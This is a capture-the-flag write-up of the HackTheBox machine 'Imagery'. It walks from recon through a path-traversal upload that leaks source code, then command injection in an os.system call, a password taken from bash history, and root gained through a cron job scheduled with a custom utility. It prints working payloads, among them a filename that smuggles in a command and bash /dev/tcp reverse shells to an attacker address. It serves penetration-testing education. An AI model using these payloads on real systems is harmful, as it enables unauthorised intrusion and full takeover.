TARGET OS: LINUX | AUTHOR: LEANDROS
Imagery is a Medium-rated Linux machine on HackTheBox that tests your ability to chain web vulnerabilities into a full system compromise. The engagement began with uncovering a Path Traversal vulnerability during a file upload process, which allowed me to leak the backend Python source code. Analyzing the code revealed a devastating Command Injection flaw via an insecure os.system() call. After securing a foothold, I exploited poor operational security to move laterally, and finally abused a custom command-line utility (charcol) to schedule a malicious cron job for root privileges. Here is my detailed mission log.
I initiated the engagement with an Nmap TCP port scan to map out the target's external attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,8000 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
The scan revealed SSH on port 22 and a Python-based web server on port 8000 hosting an "Image Gallery". I ran a quick directory fuzzing scan using Gobuster to map the web application's structure.
gobuster dir -u http://<IP>:8000 -w /usr/share/wordlists/dirb/common.txt
Gobuster identified two interesting endpoints: /upload and /file. Navigating to the site, I confirmed it was a simple web application allowing users to upload images.
I intercepted an image upload request using Burp Suite to analyze how the server handles incoming files. The server renames uploaded files using a UUID (e.g., 1b9d6bcd-bbfd-4b2d-9b5d-ab8dfbbd4bed.png). However, I noticed that the file extension attached to the UUID was being derived directly from my original filename.
By manipulating the file extension in the multipart form data, I could trick the application into traversing the directory structure when it attempted to process or save the file.
I modified the filename in my Burp request from test.png to a path traversal payload aiming for the application's source code. I assumed standard Flask/Python structures, so I targeted /var/www/app/app.py.
Content-Disposition: form-data; name="file"; filename="test.png/../../../../../../var/www/app/app.py"
Content-Type: image/png
The server responded with the contents of the app.py file! I had successfully bypassed the directory restrictions to leak the backend source code.
Reviewing the leaked app.py source code, I focused on how the application processes the images. I found a massive, critical security flaw in the image conversion logic.
# Snippet from image processing routine
file_path = os.path.join(UPLOAD_FOLDER, filename)
file.save(file_path)
# ...
os.system(f"magick {file_path} {file_path.split('.')[0]}.png")
The application uses os.system() to call the ImageMagick binary (magick). Because it blindly interpolates the file_path variable directly into the bash command without any sanitization or escaping, we can inject arbitrary shell commands by putting them directly inside our filename!
I crafted a malicious filename that would close the magick command context, execute a reverse shell, and then comment out the rest of the string to avoid syntax errors.
filename="\";bash -c 'bash -i >& /dev/tcp/<IP>/7777 0>&1'#.png"
I started a Netcat listener on port 7777 and sent the crafted request through Burp Suite. As soon as the server executed the os.system() call, it executed my reverse shell instead of converting the image.
listening on [any] 7777 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.11.88] 49284
runner@imagery:~/app$ whoami
runner
I had secured a foothold as the user runner and retrieved the user.txt flag.
My next step was to stabilize my shell and hunt for lateral movement vectors. I started by checking the runner user's home directory. In a classic display of poor operational security, the user had left their terminal history intact.
cat .bash_history
ls -la
su mark
A30b8b2123!
cd /opt/charcol
...
The history file explicitly leaked the password for the user mark: A30b8b2123!. I used the su command to switch to Mark's account.
Now operating as mark, I began hunting for privilege escalation vectors. The `.bash_history` file had mentioned a directory called /opt/charcol/. I navigated there and found a custom python utility script named charcol.
Executing the script launched an interactive command-line interface. I typed help to see the available modules.
charcol> help
Available commands:
help : Show this help message.
exit, quit : Exit the application.
clear : Clear the terminal screen.
info : Display system and application information.
auto add [options] : Add a new background job.
auto list : List all background jobs.
auto remove [options] : Remove a background job by ID.
banner : Do not display the ASCII banner.
-R, "--reset-password-to-default" : Reset application password to default (requires system password verification).
The auto add command allows the user to schedule background jobs via crontab. Because this utility manages system-level tasks, if we can successfully schedule a job, it will be executed by the root user's cron daemon. The catch? It requires the user's system password to authorize the change.
Since I already had Mark's password from earlier, I could easily bypass this verification check. I set up a new Netcat listener on my attacker machine and crafted an auto add command to schedule a reverse shell to execute every minute.
charcol> auto add --schedule "* * * * *" --command "bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'" --name "rootShell"
[2025-10-04 08:22:50] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm: A30b8b2123!
[2025-10-04 08:22:55] [INFO] System password verified successfully.
[2025-10-04 08:22:55] [INFO] Auto job 'rootShell' added successfully. The job will run according to schedule.
[2025-10-04 08:22:55] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true bash -c 'bash -i >& /dev/tcp/10.10.14.64/7777 0>&1'
The job was successfully added to the system's crontab. Less than a minute later, the cron daemon executed my payload as the root user, and my Netcat listener caught the incoming connection.
root@imagery:~# id
uid=0(root) gid=0(root) groups=0(root)
I retrieved the root.txt flag. The machine was fully compromised.